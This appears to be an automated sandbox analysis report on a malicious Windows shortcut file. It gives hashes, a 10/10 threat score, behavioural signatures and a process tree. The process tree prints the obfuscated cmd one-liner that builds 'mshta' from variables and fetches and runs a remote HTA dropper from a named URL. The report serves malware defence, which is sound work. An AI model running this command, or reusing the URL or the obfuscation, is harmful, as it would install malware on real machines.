Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-VV8VS5.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-VV8VS5.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-VV8VS5.lnk
- Size 1KB
- Sample260804-j98fsszzds
- SHA256 50828373cf1cf41dd293ff9329fc206642ee39aec8fb605e631908ed9f1df6ba
- MD5 f033cd3aff169ea0e94ca92e2c735ed2
- SHA1 6c277dcf420f01a3966d629e429928b4ff2c7c14
- SHA512 7e38625c3a49888ad1b6a7dce7bde1e61fb1b921efde4678383e9df4f3ce4dfff17e1e1d7810840f2f6a8f212668a93f2386db77c70b3ea09c6009f1679ba609
- TLSH T1A83197103FFD0A24F3F38E7398BB572085BAB95A8D24C72E0041464C1072A16E57AFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4716 cmd.exe 3364 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4716 wrote to memory of 3364 4716 cmd.exe 86 PID 3364 wrote to memory of 4052 3364 cmd.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-VV8VS5.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set QwH=msh&&set KgHo=ta&&start "" !QwH!!KgHo! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4052
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